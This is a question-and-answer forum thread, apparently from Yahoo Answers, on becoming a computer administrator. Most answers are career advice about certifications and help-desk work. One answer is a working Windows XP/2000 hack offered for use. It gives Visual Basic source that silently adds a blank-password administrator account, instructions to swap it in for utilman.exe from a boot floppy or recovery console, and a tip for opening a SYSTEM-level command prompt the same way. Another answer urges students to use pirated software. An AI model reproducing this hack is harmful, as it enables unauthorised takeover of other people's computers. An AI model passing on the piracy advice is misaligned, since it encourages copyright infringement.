How do you become a computer administrator?

If you are talking about a job as a systems administrator you should probably decide what field you want to be an administrator in and then read a book/do online training before applying for jobs.\n\nPossible choices might be UNIX systems administrator, LINUX systems administrator, Windows systems administrator, database administrator etc...\n\nIf you mean the administrator on your PC at home it will usually be the person who installs the operating system in the first place, however with some systems they may be able to give you administrator rights of some sort, usually through their control panel (windows) or system preferences (mac)

I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this \n\nto work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. \n\nOverview: \nWindows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is \n\nlocated at C:&#92;Windows&#92;system32&#92;utilman.exe for windows XP and C:&#92;WINNT&#92;System32&#92;utilman.exe for windows 2000. So all you have to do is make \n\nyour own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. \n\nIf the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this \n\nwill take a few minutes depending on how fast the PC is. \n\nFirst We need to make the program \nI used Visual Basic 6, here is my source code that i used to create the administrative account: \n\n#################################START############################### \nPrivate Sub Form_Load() \nShell "net user NewAdmin " & """""" & " /add", vbHide \nPause (1) \nShell "net localgroup administrators NewAdmin /add", vbHide \nPause (1) \nmsgbox "Added Administrative User",16,"Hacked XP" \nEnd \nEnd Sub \n\nSub Pause(interval) \n'Pauses execution \nCurrent = Timer \nDo While Timer - Current < Val(interval) \nDoEvents \nLoop \nEnd Sub \n\n'#################################END############################### \n\nCompile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank \n\npassword and then adds them to the Administrators Group. \n\nOk Now that we've made the program lets move on... \n\nFAT32 \n1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe \n2. Add the newly made Utilman.exe to the Floppy \n3. Restart the computer with the floppy in it \n4. After DOS loads type C: and press enter. \n5. If it changes from A:/> to C:/> then your doing good \n6. use this command: Copy A:&#92;utilman.exe C:&#92;windows&#92;system32&#92;utilman.exe press Y to overwrite the exsisting file \n7. Restart the computer without the floppy in it \n8. When it gets to the Login Screen Press the Windows Key + U \n9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 \n\n9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your \n\nPC. \n10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to \n\nyour PC. \n\n\nNTFS \nUse a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)

The best is to get your MCSA/MCSE. MCSA trains you to become a network administrator. MCSE is to be a network engineer.\n\nCompTia is strictly for network security.

It depends on what you want to study... "computers" is a very broad category. There's networking, programming, web design, 3D modeling, systems administration and engineering and a whole bunch more. And then there are the operating systems you can learn, the various flavors of Windows (desktop and server) linux, unix, the Apple OS, etc.\n\nHere's a few options:\n\nIf you want to learn about desktop hardware and support take an A+ certification course.\n\nIf you want to learn Windows at it's most basic levles take a Microsoft Certified Professional ourse, the first and easiest is the Windows XP course. If you lilke it you can take additional courses to get an MCSA or MCSE (Microsoft Certified Systems Administrator or Engineer).\n\nIf you want to learn about the Apple OS I don't think there are any courses per se, just find the nearest Apple store and hang out at the Genius Bar.\n\nThere are tons of other options...

it will definitely help, but you also should also get at least a couple MCP's or other cert's, like citrix administration, security, lotus notes, linux, etc.\nwith what you have, you should get a job at a help desk to start.

Learn the computer.  As a System and Network admin for my company there is only one way to get in with me.  Have a brain cell working and be confident.  Work as an intern and work for free.  Soak in all the knowledge you can.  Get 2 or 3 computers even if they are crap and network them so you can say you did it at home.  Play around with them learn and more than what the teachers are giving you.  You’re in school for computer that means you have access to pirated material learn the OS and the Server OS.  I just terminated a person who had a degree but I don't know how she got it because she did not know a thing.  I want someone is not afraid to mess up its part of the game.  Get in with help desk and work your way up the latter take chances and get with your school and see if they can help you out.  Feel free to contact me if you like. If your going to a technical school such as DeVry then they should have something for you.  If your going to a real Universaty then make sure you get your BS in computers.

I assume that if the PC allows you to log in as administrator you must be using XP Pro. When you log in as admin, rather than checking "users" in the Control Panel, go into Administrative Tools instead, then into Computer Management. There is a section on the left called "Local Users and Groups", and if you go into Users you should see any other account created on that PC. Right-click on the one you've forgotten the password to, and choose "Set Password." Once you've reset the password, log out (or just reboot), then log in as that user.\n\n(Edit: I may have misunderstood your question. If you are saying you log in as administrator and never create any other account, then the answer above mine is correct. You can use a boot floppy or cd to reset the administrator account password. There are others besides that one if you just search for them on Google.)

I found the best way is often through temp agencies.  They specialize in short term jobs, which can often let you gain experience.\n\nAnother one is at a computer store.  This lets you experience all levels of hardware and software, and you quickly pick up the newer technology.\n\nHowever, you need at least some experience first.  You can always apprentice yourself.  I did this for 3 years, working part-time for free at a computer store.  That experience was invaluable later on in my career.

you must be administrator or you must make a addition of time

A network administrator performs the day to day tasks necessary to keep the network running as well as managing access to resources.  This typically requires a smaller skill set and less experience than a network engineer.\n\nA network engineer is responsible for the design, implementation, and system recovery activities associated with a network.\n\nBecoming a network administrator requires sufficient knowledge about an environment to use the vendor tools and interfaces.  For example, I recommend obtaining the MCSA certification if you want to administer a Microsoft Windows environment.  \n"Microsoft Certified Systems Administrators (MCSAs) administer network and systems environments based on the Microsoft Windows operating systems. Specializations include MCSA: Messaging and MCSA: Security."

Sure. I can understand why you would not want your kids to have admin access. It prevents a lot of nasty programs from getting installed.\n\nThe first thing is to give yourself a password- if you have a password, the kids can't use your account. Go to Control Panel-> User Accounts. Select your account Click "Add a Password". Type one and hit OK. Remember it! I believe\n\nNow, create all the different accounts on the PC. Make sure that after creating each account, select it and go to "Change Account Type". If it is already a limited account, you can skip this step.\n\nWith these changes, you should be the only administrator on the com[uter.\n\nHope this helps!
